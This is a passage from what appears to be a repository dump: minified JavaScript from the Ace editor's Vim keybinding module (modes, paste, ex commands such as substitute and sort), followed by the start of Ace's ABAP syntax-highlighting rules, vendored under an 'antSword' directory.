n=nt.macroModeState,r=t.selectedCharacter;n.enterMacroRecordMode(e,r)},enterInsertMode:function(e,t,n){if(e.getOption(\"readOnly\"))return;n.insertMode=!0,n.insertModeRepeat=t&&t.repeat||1;var r=t?t.insertAt:null,i=n.sel,s=t.head||e.getCursor(\"head\"),o=e.listSelections().length;if(r==\"eol\")s=E(s.line,Pt(e,s.line));else if(r==\"charAfter\")s=St(s,0,1);else if(r==\"firstNonBlank\")s=pt.moveToFirstNonWhiteSpaceCharacter(e,s);else if(r==\"startOfSelectedArea\")n.visualBlock?(s=E(Math.min(i.head.line,i.anchor.line),Math.min(i.head.ch,i.anchor.ch)),o=Math.abs(i.head.line-i.anchor.line)+1):i.head.line<i.anchor.line?s=i.head:s=E(i.anchor.line,0);else if(r==\"endOfSelectedArea\")n.visualBlock?(s=E(Math.min(i.head.line,i.anchor.line),Math.max(i.head.ch+1,i.anchor.ch)),o=Math.abs(i.head.line-i.anchor.line)+1):i.head.line>=i.anchor.line?s=St(i.head,0,1):s=E(i.anchor.line,0);else if(r==\"inplace\"&&n.visualMode)return;e.setOption(\"keyMap\",\"vim-insert\"),e.setOption(\"disableInput\",!1),t&&t.replace?(e.toggleOverwrite(!0),e.setOption(\"keyMap\",\"vim-replace\"),v.signal(e,\"vim-mode-change\",{mode:\"replace\"})):(e.setOption(\"keyMap\",\"vim-insert\"),v.signal(e,\"vim-mode-change\",{mode:\"insert\"})),nt.macroModeState.isPlaying||(e.on(\"change\",$n),v.on(e.getInputField(),\"keydown\",Yn)),n.visualMode&&$t(e),It(e,s,o)},toggleVisualMode:function(e,t,n){var r=t.repeat,i=e.getCursor(),s;n.visualMode?n.visualLine^t.linewise||n.visualBlock^t.blockwise?(n.visualLine=!!t.linewise,n.visualBlock=!!t.blockwise,v.signal(e,\"vim-mode-change\",{mode:\"visual\",subMode:n.visualLine?\"linewise\":n.visualBlock?\"blockwise\":\"\"}),Wt(e)):$t(e):(n.visualMode=!0,n.visualLine=!!t.linewise,n.visualBlock=!!t.blockwise,s=wt(e,E(i.line,i.ch+r-1),!0),n.sel={anchor:i,head:s},v.signal(e,\"vim-mode-change\",{mode:\"visual\",subMode:n.visualLine?\"linewise\":n.visualBlock?\"blockwise\":\"\"}),Wt(e),an(e,n,\"<\",Mt(i,s)),an(e,n,\">\",_t(i,s)))},reselectLastSelection:function(e,t,n){var r=n.lastSelection;n.visualMode&&Ut(e,n);if(r){var i=r.anchorMark.find(),s=r.headMark.find();if(!i||!s)return;n.sel={anchor:i,head:s},n.visualMode=!0,n.visualLine=r.visualLine,n.visualBlock=r.visualBlock,Wt(e),an(e,n,\"<\",Mt(i,s)),an(e,n,\">\",_t(i,s)),v.signal(e,\"vim-mode-change\",{mode:\"visual\",subMode:n.visualLine?\"linewise\":n.visualBlock?\"blockwise\":\"\"})}},joinLines:function(e,t,n){var r,i;if(n.visualMode){r=e.getCursor(\"anchor\"),i=e.getCursor(\"head\");if(Ot(i,r)){var s=i;i=r,r=s}i.ch=Pt(e,i.line)-1}else{var o=Math.max(t.repeat,2);r=e.getCursor(),i=wt(e,E(r.line+o-1,Infinity))}var u=0;for(var a=r.line;a<i.line;a++){u=Pt(e,r.line);var s=E(r.line+1,Pt(e,r.line+1)),f=e.getRange(r,s);f=f.replace(/\\n\\s*/g,\" \"),e.replaceRange(f,r,s)}var l=E(r.line,u);n.visualMode&&$t(e,!1),e.setCursor(l)},newLineAndEnterInsertMode:function(e,t,n){n.insertMode=!0;var r=Lt(e.getCursor());if(r.line===e.firstLine()&&!t.after)e.replaceRange(\"\\n\",E(e.firstLine(),0)),e.setCursor(e.firstLine(),0);else{r.line=t.after?r.line:r.line-1,r.ch=Pt(e,r.line),e.setCursor(r);var i=v.commands.newlineAndIndentContinueComment||v.commands.newlineAndIndent;i(e)}this.enterInsertMode(e,{repeat:t.repeat},n)},paste:function(e,t,n){var r=Lt(e.getCursor()),i=nt.registerController.getRegister(t.registerName),s=i.toString();if(!s)return;if(t.matchIndent){var o=e.getOption(\"tabSize\"),u=function(e){var t=e.split(\"\t\").length-1,n=e.split(\" \").length-1;return t*o+n*1},a=e.getLine(e.getCursor().line),f=u(a.match(/^\\s*/)[0]),l=s.replace(/\\n$/,\"\"),c=s!==l,h=u(s.match(/^\\s*/)[0]),s=l.replace(/^\\s*/gm,function(t){var n=f+(u(t)-h);if(n<0)return\"\";if(e.getOption(\"indentWithTabs\")){var r=Math.floor(n/o);return Array(r+1).join(\"\t\")}return Array(n+1).join(\" \")});s+=c?\"\\n\":\"\"}if(t.repeat>1)var s=Array(t.repeat+1).join(s);var p=i.linewise,d=i.blockwise;if(p&&!d)n.visualMode?s=n.visualLine?s.slice(0,-1):\"\\n\"+s.slice(0,s.length-1)+\"\\n\":t.after?(s=\"\\n\"+s.slice(0,s.length-1),r.ch=Pt(e,r.line)):r.ch=0;else{if(d){s=s.split(\"\\n\");for(var v=0;v<s.length;v++)s[v]=s[v]==\"\"?\" \":s[v]}r.ch+=t.after?1:0}var m,g;if(n.visualMode){n.lastPastedText=s;var y,b=Rt(e,n),w=b[0],S=b[1],x=e.getSelection(),T=e.listSelections(),N=(new Array(T.length)).join(\"1\").split(\"1\");n.lastSelection&&(y=n.lastSelection.headMark.find()),nt.registerController.unnamedRegister.setText(x),d?(e.replaceSelections(N),S=E(w.line+s.length-1,w.ch),e.setCursor(w),Ft(e,S),e.replaceSelections(s),m=w):n.visualBlock?(e.replaceSelections(N),e.setCursor(w),e.replaceRange(s,w,w),m=w):(e.replaceRange(s,w,S),m=e.posFromIndex(e.indexFromPos(w)+s.length-1)),y&&(n.lastSelection.headMark=e.setBookmark(y)),p&&(m.ch=0)}else if(d){e.setCursor(r);for(var v=0;v<s.length;v++){var C=r.line+v;C>e.lastLine()&&e.replaceRange(\"\\n\",E(C,0));var k=Pt(e,C);k<r.ch&&jt(e,C,r.ch)}e.setCursor(r),Ft(e,E(r.line+s.length-1,r.ch)),e.replaceSelections(s),m=r}else e.replaceRange(s,r),p&&t.after?m=E(r.line+1,Qt(e.getLine(r.line+1))):p&&!t.after?m=E(r.line,Qt(e.getLine(r.line))):!p&&t.after?(g=e.indexFromPos(r),m=e.posFromIndex(g+s.length-1)):(g=e.indexFromPos(r),m=e.posFromIndex(g+s.length));n.visualMode&&$t(e,!1),e.setCursor(m)},undo:function(e,t){e.operation(function(){kt(e,v.commands.undo,t.repeat)(),e.setCursor(e.getCursor(\"anchor\"))})},redo:function(e,t){kt(e,v.commands.redo,t.repeat)()},setRegister:function(e,t,n){n.inputState.registerName=t.selectedCharacter},setMark:function(e,t,n){var r=t.selectedCharacter;an(e,n,r,e.getCursor())},replace:function(e,t,n){var r=t.selectedCharacter,i=e.getCursor(),s,o,u=e.listSelections();if(n.visualMode)i=e.getCursor(\"start\"),o=e.getCursor(\"end\");else{var a=e.getLine(i.line);s=i.ch+t.repeat,s>a.length&&(s=a.length),o=E(i.line,s)}if(r==\"\\n\")n.visualMode||e.replaceRange(\"\",i,o),(v.commands.newlineAndIndentContinueComment||v.commands.newlineAndIndent)(e);else{var f=e.getRange(i,o);f=f.replace(/[^\\n]/g,r);if(n.visualBlock){var l=(new Array(e.getOption(\"tabSize\")+1)).join(\" \");f=e.getSelection(),f=f.replace(/\\t/g,l).replace(/[^\\n]/g,r).split(\"\\n\"),e.replaceSelections(f)}else e.replaceRange(f,i,o);n.visualMode?(i=Ot(u[0].anchor,u[0].head)?u[0].anchor:u[0].head,e.setCursor(i),$t(e,!1)):e.setCursor(St(o,0,-1))}},incrementNumberToken:function(e,t){var n=e.getCursor(),r=e.getLine(n.line),i=/-?\\d+/g,s,o,u,a,f;while((s=i.exec(r))!==null){f=s[0],o=s.index,u=o+f.length;if(n.ch<u)break}if(!t.backtrack&&u<=n.ch)return;if(!f)return;var l=t.increase?1:-1,c=parseInt(f)+l*t.repeat,h=E(n.line,o),p=E(n.line,u);a=c.toString(),e.replaceRange(a,h,p),e.setCursor(E(n.line,o+a.length-1))},repeatLastEdit:function(e,t,n){var r=n.lastEditInputState;if(!r)return;var i=t.repeat;i&&t.repeatIsExplicit?n.lastEditInputState.repeatOverride=i:i=n.lastEditInputState.repeatOverride||i,Zn(e,n,i,!1)},exitInsertMode:qn},en={\"(\":\"bracket\",\")\":\"bracket\",\"{\":\"bracket\",\"}\":\"bracket\",\"[\":\"section\",\"]\":\"section\",\"*\":\"comment\",\"/\":\"comment\",m:\"method\",M:\"method\",\"#\":\"preprocess\"},tn={bracket:{isComplete:function(e){if(e.nextCh===e.symb){e.depth++;if(e.depth>=1)return!0}else e.nextCh===e.reverseSymb&&e.depth--;return!1}},section:{init:function(e){e.curMoveThrough=!0,e.symb=(e.forward?\"]\":\"[\")===e.symb?\"{\":\"}\"},isComplete:function(e){return e.index===0&&e.nextCh===e.symb}},comment:{isComplete:function(e){var t=e.lastCh===\"*\"&&e.nextCh===\"/\";return e.lastCh=e.nextCh,t}},method:{init:function(e){e.symb=e.symb===\"m\"?\"{\":\"}\",e.reverseSymb=e.symb===\"{\"?\"}\":\"{\"},isComplete:function(e){return e.nextCh===e.symb?!0:!1}},preprocess:{init:function(e){e.index=0},isComplete:function(e){if(e.nextCh===\"#\"){var t=e.lineText.match(/#(\\w+)/)[1];if(t===\"endif\"){if(e.forward&&e.depth===0)return!0;e.depth++}else if(t===\"if\"){if(!e.forward&&e.depth===0)return!0;e.depth--}if(t===\"else\"&&e.depth===0)return!0}return!1}}};K(\"pcre\",!0,\"boolean\"),pn.prototype={getQuery:function(){return nt.query},setQuery:function(e){nt.query=e},getOverlay:function(){return this.searchOverlay},setOverlay:function(e){this.searchOverlay=e},isReversed:function(){return nt.isReversed},setReversed:function(e){nt.isReversed=e},getScrollbarAnnotate:function(){return this.annotate},setScrollbarAnnotate:function(e){this.annotate=e}};var bn={\"\\\\n\":\"\\n\",\"\\\\r\":\"\\r\",\"\\\\t\":\"\t\"},En={\"\\\\/\":\"/\",\"\\\\\\\\\":\"\\\\\",\"\\\\n\":\"\\n\",\"\\\\r\":\"\\r\",\"\\\\t\":\"\t\"},Cn=\"(Javascript regexp)\",Bn=function(){this.buildCommandMap_()};Bn.prototype={processCommand:function(e,t,n){var r=this;e.operation(function(){e.curOp.isVimOp=!0,r._processCommand(e,t,n)})},_processCommand:function(e,t,n){var r=e.state.vim,i=nt.registerController.getRegister(\":\"),s=i.toString();r.visualMode&&$t(e);var o=new v.StringStream(t);i.setText(t);var u=n||{};u.input=t;try{this.parseInput_(e,o,u)}catch(a){throw Tn(e,a),a}var f,l;if(!u.commandName)u.line!==undefined&&(l=\"move\");else{f=this.matchCommand_(u.commandName);if(f){l=f.name,f.excludeFromCommandHistory&&i.setText(s),this.parseCommandArgs_(o,u,f);if(f.type==\"exToKey\"){for(var c=0;c<f.toKeys.length;c++)v.Vim.handleKey(e,f.toKeys[c],\"mapping\");return}if(f.type==\"exToEx\"){this.processCommand(e,f.toInput);return}}}if(!l){Tn(e,'Not an editor command \":'+t+'\"');return}try{jn[l](e,u),(!f||!f.possiblyAsync)&&u.callback&&u.callback()}catch(a){throw Tn(e,a),a}},parseInput_:function(e,t,n){t.eatWhile(\":\"),t.eat(\"%\")?(n.line=e.firstLine(),n.lineEnd=e.lastLine()):(n.line=this.parseLineSpec_(e,t),n.line!==undefined&&t.eat(\",\")&&(n.lineEnd=this.parseLineSpec_(e,t)));var r=t.match(/^(\\w+)/);return r?n.commandName=r[1]:n.commandName=t.match(/.*/)[0],n},parseLineSpec_:function(e,t){var n=t.match(/^(\\d+)/);if(n)return parseInt(n[1],10)-1;switch(t.next()){case\".\":return e.getCursor().line;case\"$\":return e.lastLine();case\"'\":var r=e.state.vim.marks[t.next()];if(r&&r.find())return r.find().line;throw new Error(\"Mark not set\");default:return t.backUp(1),undefined}},parseCommandArgs_:function(e,t,n){if(e.eol())return;t.argString=e.match(/.*/)[0];var r=n.argDelimiter||/\\s+/,i=Ht(t.argString).split(r);i.length&&i[0]&&(t.args=i)},matchCommand_:function(e){for(var t=e.length;t>0;t--){var n=e.substring(0,t);if(this.commandMap_[n]){var r=this.commandMap_[n];if(r.name.indexOf(e)===0)return r}}return null},buildCommandMap_:function(){this.commandMap_={};for(var e=0;e<w.length;e++){var t=w[e],n=t.shortName||t.name;this.commandMap_[n]=t}},map:function(e,t,n){if(e!=\":\"&&e.charAt(0)==\":\"){if(n)throw Error(\"Mode not supported for ex mappings\");var r=e.substring(1);t!=\":\"&&t.charAt(0)==\":\"?this.commandMap_[r]={name:r,type:\"exToEx\",toInput:t.substring(1),user:!0}:this.commandMap_[r]={name:r,type:\"exToKey\",toKeys:t,user:!0}}else if(t!=\":\"&&t.charAt(0)==\":\"){var i={keys:e,type:\"keyToEx\",exArgs:{input:t.substring(1)},user:!0};n&&(i.context=n),b.unshift(i)}else{var i={keys:e,type:\"keyToKey\",toKeys:t,user:!0};n&&(i.context=n),b.unshift(i)}},unmap:function(e,t){if(e!=\":\"&&e.charAt(0)==\":\"){if(t)throw Error(\"Mode not supported for ex mappings\");var n=e.substring(1);if(this.commandMap_[n]&&this.commandMap_[n].user){delete this.commandMap_[n];return}}else{var r=e;for(var i=0;i<b.length;i++)if(r==b[i].keys&&b[i].context===t&&b[i].user){b.splice(i,1);return}}throw Error(\"No such mapping.\")}};var jn={colorscheme:function(e,t){if(!t.args||t.args.length<1){Tn(e,e.getOption(\"theme\"));return}e.setOption(\"theme\",t.args[0])},map:function(e,t,n){var r=t.args;if(!r||r.length<2){e&&Tn(e,\"Invalid mapping: \"+t.input);return}Fn.map(r[0],r[1],n)},imap:function(e,t){this.map(e,t,\"insert\")},nmap:function(e,t){this.map(e,t,\"normal\")},vmap:function(e,t){this.map(e,t,\"visual\")},unmap:function(e,t,n){var r=t.args;if(!r||r.length<1){e&&Tn(e,\"No such mapping: \"+t.input);return}Fn.unmap(r[0],n)},move:function(e,t){ht.processCommand(e,e.state.vim,{type:\"motion\",motion:\"moveToLineOrEdgeOfDocument\",motionArgs:{forward:!1,explicitRepeat:!0,linewise:!0},repeatOverride:t.line+1})},set:function(e,t){var n=t.args,r=t.setCfg||{};if(!n||n.length<1){e&&Tn(e,\"Invalid mapping: \"+t.input);return}var i=n[0].split(\"=\"),s=i[0],o=i[1],u=!1;if(s.charAt(s.length-1)==\"?\"){if(o)throw Error(\"Trailing characters: \"+t.argString);s=s.substring(0,s.length-1),u=!0}o===undefined&&s.substring(0,2)==\"no\"&&(s=s.substring(2),o=!1);var a=J[s]&&J[s].type==\"boolean\";a&&o==undefined&&(o=!0);if(!a&&o===undefined||u){var f=G(s,e,r);f===!0||f===!1?Tn(e,\" \"+(f?\"\":\"no\")+s):Tn(e,\"  \"+s+\"=\"+f)}else Q(s,o,e,r)},setlocal:function(e,t){t.setCfg={scope:\"local\"},this.set(e,t)},setglobal:function(e,t){t.setCfg={scope:\"global\"},this.set(e,t)},registers:function(e,t){var n=t.args,r=nt.registerController.registers,i=\"----------Registers----------<br><br>\";if(!n)for(var s in r){var o=r[s].toString();o.length&&(i+='\"'+s+\"    \"+o+\"<br>\")}else{var s;n=n.join(\"\");for(var u=0;u<n.length;u++){s=n.charAt(u);if(!nt.registerController.isValidRegister(s))continue;var a=r[s]||new at;i+='\"'+s+\"    \"+a.toString()+\"<br>\"}}Tn(e,i)},sort:function(e,t){function o(){if(t.argString){var e=new v.StringStream(t.argString);e.eat(\"!\")&&(n=!0);if(e.eol())return;if(!e.eatSpace())return\"Invalid arguments\";var o=e.match(/[a-z]+/);if(o){o=o[0],r=o.indexOf(\"i\")!=-1,i=o.indexOf(\"u\")!=-1;var u=o.indexOf(\"d\")!=-1&&1,a=o.indexOf(\"x\")!=-1&&1,f=o.indexOf(\"o\")!=-1&&1;if(u+a+f>1)return\"Invalid arguments\";s=u&&\"decimal\"||a&&\"hex\"||f&&\"octal\"}e.eatSpace()&&e.match(/\\/.*\\//)&&\"patterns not supported\"}}function b(e,t){if(n){var i;i=e,e=t,t=i}r&&(e=e.toLowerCase(),t=t.toLowerCase());var o=s&&p.exec(e),u=s&&p.exec(t);return o?(o=parseInt((o[1]+o[2]).toLowerCase(),d),u=parseInt((u[1]+u[2]).toLowerCase(),d),o-u):e<t?-1:1}var n,r,i,s,u=o();if(u){Tn(e,u+\": \"+t.argString);return}var a=t.line||e.firstLine(),f=t.lineEnd||t.line||e.lastLine();if(a==f)return;var l=E(a,0),c=E(f,Pt(e,f)),h=e.getRange(l,c).split(\"\\n\"),p=s==\"decimal\"?/(-?)([\\d]+)/:s==\"hex\"?/(-?)(?:0x)?([0-9a-f]+)/i:s==\"octal\"?/([0-7]+)/:null,d=s==\"decimal\"?10:s==\"hex\"?16:s==\"octal\"?8:null,m=[],g=[];if(s)for(var y=0;y<h.length;y++)p.exec(h[y])?m.push(h[y]):g.push(h[y]);else g=h;m.sort(b),g.sort(b),h=n?m.concat(g):g.concat(m);if(i){var w=h,S;h=[];for(var y=0;y<w.length;y++)w[y]!=S&&h.push(w[y]),S=w[y]}e.replaceRange(h.join(\"\\n\"),l,c)},global:function(e,t){var n=t.argString;if(!n){Tn(e,\"Regular Expression missing from global\");return}var r=t.line!==undefined?t.line:e.firstLine(),i=t.lineEnd||t.line||e.lastLine(),s=mn(n),o=n,u;s.length&&(o=s[0],u=s.slice(1,s.length).join(\"/\"));if(o)try{An(e,o,!0,!0)}catch(a){Tn(e,\"Invalid regex: \"+o);return}var f=dn(e).getQuery(),l=[],c=\"\";for(var h=r;h<=i;h++){var p=f.test(e.getLine(h));p&&(l.push(h+1),c+=e.getLine(h)+\"<br>\")}if(!u){Tn(e,c);return}var d=0,v=function(){if(d<l.length){var t=l[d]+u;Fn.processCommand(e,t,{callback:v})}d++};v()},substitute:function(e,t){if(!e.getSearchCursor)throw new Error(\"Search feature not available. Requires searchcursor.js or any other getSearchCursor implementation.\");var n=t.argString,r=n?mn(n):[],i,s=\"\",o,u,a,f=!1,l=!1;if(r.length)i=r[0],s=r[1],s!==undefined&&(G(\"pcre\")?s=Sn(s):s=wn(s),nt.lastSubstituteReplacePart=s),o=r[2]?r[2].split(\" \"):[];else if(n&&n.length){Tn(e,\"Substitutions should be of the form :s/pattern/replace/\");return}o&&(u=o[0],a=parseInt(o[1]),u&&(u.indexOf(\"c\")!=-1&&(f=!0,u.replace(\"c\",\"\")),u.indexOf(\"g\")!=-1&&(l=!0,u.replace(\"g\",\"\")),i=i+\"/\"+u));if(i)try{An(e,i,!0,!0)}catch(c){Tn(e,\"Invalid regex: \"+i);return}s=s||nt.lastSubstituteReplacePart;if(s===undefined){Tn(e,\"No previous substitute regular expression\");return}var h=dn(e),p=h.getQuery(),d=t.line!==undefined?t.line:e.getCursor().line,v=t.lineEnd||d;d==e.firstLine()&&v==e.lastLine()&&(v=Infinity),a&&(d=v,v=d+a-1);var m=wt(e,E(d,0)),g=e.getSearchCursor(p,m);In(e,f,l,d,v,g,p,s,t.callback)},redo:v.commands.redo,undo:v.commands.undo,write:function(e){v.commands.save?v.commands.save(e):e.save()},nohlsearch:function(e){Dn(e)},delmarks:function(e,t){if(!t.argString||!Ht(t.argString)){Tn(e,\"Argument required\");return}var n=e.state.vim,r=new v.StringStream(Ht(t.argString));while(!r.eol()){r.eatSpace();var i=r.pos;if(!r.match(/[a-zA-Z]/,!1)){Tn(e,\"Invalid argument: \"+t.argString.substring(i));return}var s=r.next();if(r.match(\"-\",!0)){if(!r.match(/[a-zA-Z]/,!1)){Tn(e,\"Invalid argument: \"+t.argString.substring(i));return}var o=s,u=r.next();if(!(U(o)&&U(u)||X(o)&&X(u))){Tn(e,\"Invalid argument: \"+o+\"-\");return}var a=o.charCodeAt(0),f=u.charCodeAt(0);if(a>=f){Tn(e,\"Invalid argument: \"+t.argString.substring(i));return}for(var l=0;l<=f-a;l++){var c=String.fromCharCode(a+l);delete n.marks[c]}}else delete n.marks[s]}}},Fn=new Bn;v.keyMap.vim={attach:C,detach:N,call:k},K(\"insertModeEscKeysTimeout\",200,\"number\"),v.keyMap[\"vim-insert\"]={\"Ctrl-N\":\"autocomplete\",\"Ctrl-P\":\"autocomplete\",Enter:function(e){var t=v.commands.newlineAndIndentContinueComment||v.commands.newlineAndIndent;t(e)},fallthrough:[\"default\"],attach:C,detach:N,call:k},v.keyMap[\"vim-replace\"]={Backspace:\"goCharLeft\",fallthrough:[\"vim-insert\"],attach:C,detach:N,call:k},rt(),v.Vim=S(),S=v.Vim;var tr={\"return\":\"CR\",backspace:\"BS\",\"delete\":\"Del\",esc:\"Esc\",left:\"Left\",right:\"Right\",up:\"Up\",down:\"Down\",space:\"Space\",home:\"Home\",end:\"End\",pageup:\"PageUp\",pagedown:\"PageDown\",enter:\"CR\"},rr=S.handleKey.bind(S);S.handleKey=function(e,t,n){return e.operation(function(){return rr(e,t,n)},!0)},t.CodeMirror=v;var or=S.maybeInitVimState_;t.handler={$id:\"ace/keyboard/vim\",drawCursor:function(e,t,n,r,s){var o=this.state.vim||{},u=n.characterWidth,a=n.lineHeight,f=t.top,l=t.left;if(!o.insertMode){var c=r.cursor?i.comparePoints(r.cursor,r.start)<=0:s.selection.isBackwards()||s.selection.isEmpty();!c&&l>u&&(l-=u)}!o.insertMode&&o.status&&(a/=2,f+=a),e.left=l+\"px\",e.top=f+\"px\",e.width=u+\"px\",e.height=a+\"px\"},handleKeyboard:function(e,t,n,r,i){var s=e.editor,o=s.state.cm,u=or(o);if(r==-1)return;if(n==\"c\"&&t==1){if(!c.isMac&&s.getCopyText())return s.once(\"copy\",function(){s.selection.clearSelection()}),{command:\"null\",passEvent:!0}}else u.insertMode||c.isMac&&this.handleMacRepeat(e,t,n)&&(t=-1,n=e.inputChar);if(t==-1||t&1||t===0&&n.length>1){var a=u.insertMode,f=nr(t,n,i||{});u.status==null&&(u.status=\"\");var l=sr(o,f,\"user\");u=or(o),l&&u.status!=null?u.status+=f:u.status==null&&(u.status=\"\"),o._signal(\"changeStatus\");if(!l&&(t!=-1||a))return;return{command:\"null\",passEvent:!l}}},attach:function(e){e.state||(e.state={});var t=new v(e);e.state.cm=t,e.$vimModeHandler=this,v.keyMap.vim.attach(t),or(t).status=null,t.on(\"vim-command-done\",function(){if(t.virtualSelectionMode())return;or(t).status=null,t.ace._signal(\"changeStatus\"),t.ace.session.markUndoGroup()}),t.on(\"changeStatus\",function(){t.ace.renderer.updateCursor(),t.ace._signal(\"changeStatus\")}),t.on(\"vim-mode-change\",function(){if(t.virtualSelectionMode())return;t.ace.renderer.setStyle(\"normal-mode\",!or(t).insertMode),t._signal(\"changeStatus\")}),t.ace.renderer.setStyle(\"normal-mode\",!or(t).insertMode),e.renderer.$cursorLayer.drawCursor=this.drawCursor.bind(t),this.updateMacCompositionHandlers(e,!0)},detach:function(e){var t=e.state.cm;v.keyMap.vim.detach(t),t.destroy(),e.state.cm=null,e.$vimModeHandler=null,e.renderer.$cursorLayer.drawCursor=null,e.renderer.setStyle(\"normal-mode\",!1),this.updateMacCompositionHandlers(e,!1)},getStatusText:function(e){var t=e.state.cm,n=or(t);if(n.insertMode)return\"INSERT\";var r=\"\";return n.visualMode&&(r+=\"VISUAL\",n.visualLine&&(r+=\" LINE\"),n.visualBlock&&(r+=\" BLOCK\")),n.status&&(r+=(r?\" \":\"\")+n.status),r},handleMacRepeat:function(e,t,n){if(t==-1)e.inputChar=n,e.lastEvent=\"input\";else if(e.inputChar&&e.$lastHash==t&&e.$lastKey==n){if(e.lastEvent==\"input\")e.lastEvent=\"input1\";else if(e.lastEvent==\"input1\")return!0}else e.$lastHash=t,e.$lastKey=n,e.lastEvent=\"keypress\"},updateMacCompositionHandlers:function(e,t){var n=function(t){var n=e.state.cm,r=or(n);if(!r.insertMode){var i=this.textInput.getElement();i.blur(),i.focus(),i.value=t}else this.onCompositionUpdateOrig(t)},r=function(t){var n=e.state.cm,r=or(n);r.insertMode||this.onCompositionStartOrig(t)};t?e.onCompositionUpdateOrig||(e.onCompositionUpdateOrig=e.onCompositionUpdate,e.onCompositionUpdate=n,e.onCompositionStartOrig=e.onCompositionStart,e.onCompositionStart=r):e.onCompositionUpdateOrig&&(e.onCompositionUpdate=e.onCompositionUpdateOrig,e.onCompositionUpdateOrig=null,e.onCompositionStart=e.onCompositionStartOrig,e.onCompositionStartOrig=null)}};var ur={getText:function(e,t){return(Math.abs(e.selection.lead.row-t)||t+1+(t<9?\"\\u00b7\":\"\"))+\"\"},getWidth:function(e,t,n){return e.getLength().toString().length*n.characterWidth},update:function(e,t){t.renderer.$loop.schedule(t.renderer.CHANGE_GUTTER)},attach:function(e){e.renderer.$gutterLayer.$renderer=this,e.on(\"changeSelection\",this.update)},detach:function(e){e.renderer.$gutterLayer.$renderer=null,e.off(\"changeSelection\",this.update)}};S.defineOption({name:\"wrap\",set:function(e,t){t&&t.ace.setOption(\"wrap\",e)},type:\"boolean\"},!1),S.defineEx(\"write\",\"w\",function(){console.log(\":write is not implemented\")}),b.push({keys:\"zc\",type:\"action\",action:\"fold\",actionArgs:{open:!1}},{keys:\"zC\",type:\"action\",action:\"fold\",actionArgs:{open:!1,all:!0}},{keys:\"zo\",type:\"action\",action:\"fold\",actionArgs:{open:!0}},{keys:\"zO\",type:\"action\",action:\"fold\",actionArgs:{open:!0,all:!0}},{keys:\"za\",type:\"action\",action:\"fold\",actionArgs:{toggle:!0}},{keys:\"zA\",type:\"action\",action:\"fold\",actionArgs:{toggle:!0,all:!0}},{keys:\"zf\",type:\"action\",action:\"fold\",actionArgs:{open:!0,all:!0}},{keys:\"zd\",type:\"action\",action:\"fold\",actionArgs:{open:!0,all:!0}},{keys:\"<C-A-k>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"addCursorAbove\"}},{keys:\"<C-A-j>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"addCursorBelow\"}},{keys:\"<C-A-S-k>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"addCursorAboveSkipCurrent\"}},{keys:\"<C-A-S-j>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"addCursorBelowSkipCurrent\"}},{keys:\"<C-A-h>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"selectMoreBefore\"}},{keys:\"<C-A-l>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"selectMoreAfter\"}},{keys:\"<C-A-S-h>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"selectNextBefore\"}},{keys:\"<C-A-S-l>\",type:\"action\",action:\"aceCommand\",actionArgs:{name:\"selectNextAfter\"}}),yt.aceCommand=function(e,t,n){e.vimCmd=t,e.ace.inVirtualSelectionMode?e.ace.on(\"beforeEndOperation\",ar):ar(null,e.ace)},yt.fold=function(e,t,n){e.ace.execCommand([\"toggleFoldWidget\",\"toggleFoldWidget\",\"foldOther\",\"unfoldall\"][(t.all?2:0)+(t.open?1:0)])},t.handler.defaultKeymap=b,t.handler.actions=yt,t.Vim=S,S.map(\"Y\",\"yy\",\"normal\")})"
  },
  {
    "path": "antSword/static/libs/ace/mode-abap.js",
    "content": "ace.define(\"ace/mode/abap_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=this.createKeywordMapper({\"variable.language\":\"this\",keyword:\"ADD ALIAS ALIASES ASSERT ASSIGN ASSIGNING AT BACK CALL CASE CATCH CHECK CLASS CLEAR CLOSE CNT COLLECT COMMIT COMMUNICATION COMPUTE CONCATENATE CONDENSE CONSTANTS CONTINUE CONTROLS CONVERT CREATE CURRENCY DATA DEFINE DEFINITION DEFERRED DELETE DESCRIBE DETAIL DIVIDE DO ELSE ELSEIF ENDAT ENDCASE ENDCLASS ENDDO ENDEXEC ENDFORM ENDFUNCTION ENDIF ENDIFEND ENDINTERFACE ENDLOOP ENDMETHOD ENDMODULE ENDON ENDPROVIDE ENDSELECT ENDTRY ENDWHILE EVENT EVENTS EXEC EXIT EXPORT EXPORTING EXTRACT FETCH FIELDS FORM FORMAT FREE FROM FUNCTION GENERATE GET HIDE IF IMPORT IMPORTING INDEX INFOTYPES INITIALIZATION INTERFACE INTERFACES INPUT INSERT IMPLEMENTATION LEAVE LIKE LINE LOAD LOCAL LOOP MESSAGE METHOD METHODS MODIFY MODULE MOVE MULTIPLY ON OVERLAY OPTIONAL OTHERS PACK PARAMETERS PERFORM POSITION PROGRAM PROVIDE PUT RAISE RANGES READ RECEIVE RECEIVING REDEFINITION REFERENCE REFRESH REJECT REPLACE REPORT RESERVE RESTORE RETURNING ROLLBACK SCAN SCROLL SEARCH SELECT SET SHIFT SKIP SORT SORTED SPLIT STANDARD STATICS STEP STOP SUBMIT SUBTRACT SUM SUMMARY SUPPRESS TABLES TIMES TRANSFER TRANSLATE TRY TYPE TYPES UNASSIGN ULINE UNPACK UPDATE WHEN WHILE WINDOW WRITE OCCURS STRUCTURE OBJECT PROPERTY CASTING APPEND RAISING VALUE COLOR CHANGING EXCEPTION EXCEPTIONS DEFAULT CHECKBOX COMMENT ID NUMBER FOR TITLE OUTPUT WITH EXIT USING INTO WHERE GROUP BY HAVING ORDER BY SINGLE APPENDING CORRESPONDING FIELDS OF TABLE LEFT RIGHT OUTER INNER JOIN AS CLIENT SPECIFIED BYPASSING BUFFER UP TO ROWS CONNECTING EQ NE LT LE GT GE NOT AND OR XOR IN LIKE BETWEEN\",\"constant.language\":\"TRUE FALSE NULL SPACE\",\"support.type\":\"c n i p f d t x string xstring decfloat16 decfloat34\",\"keyword.operator\":\"abs sign ceil floor trunc frac acos asin atan cos sin tan abapOperator cosh sinh tanh exp log log10 sqrt strlen xstrlen charlen numofchar dbmaxlen lines\"},\"text\",!0,\" 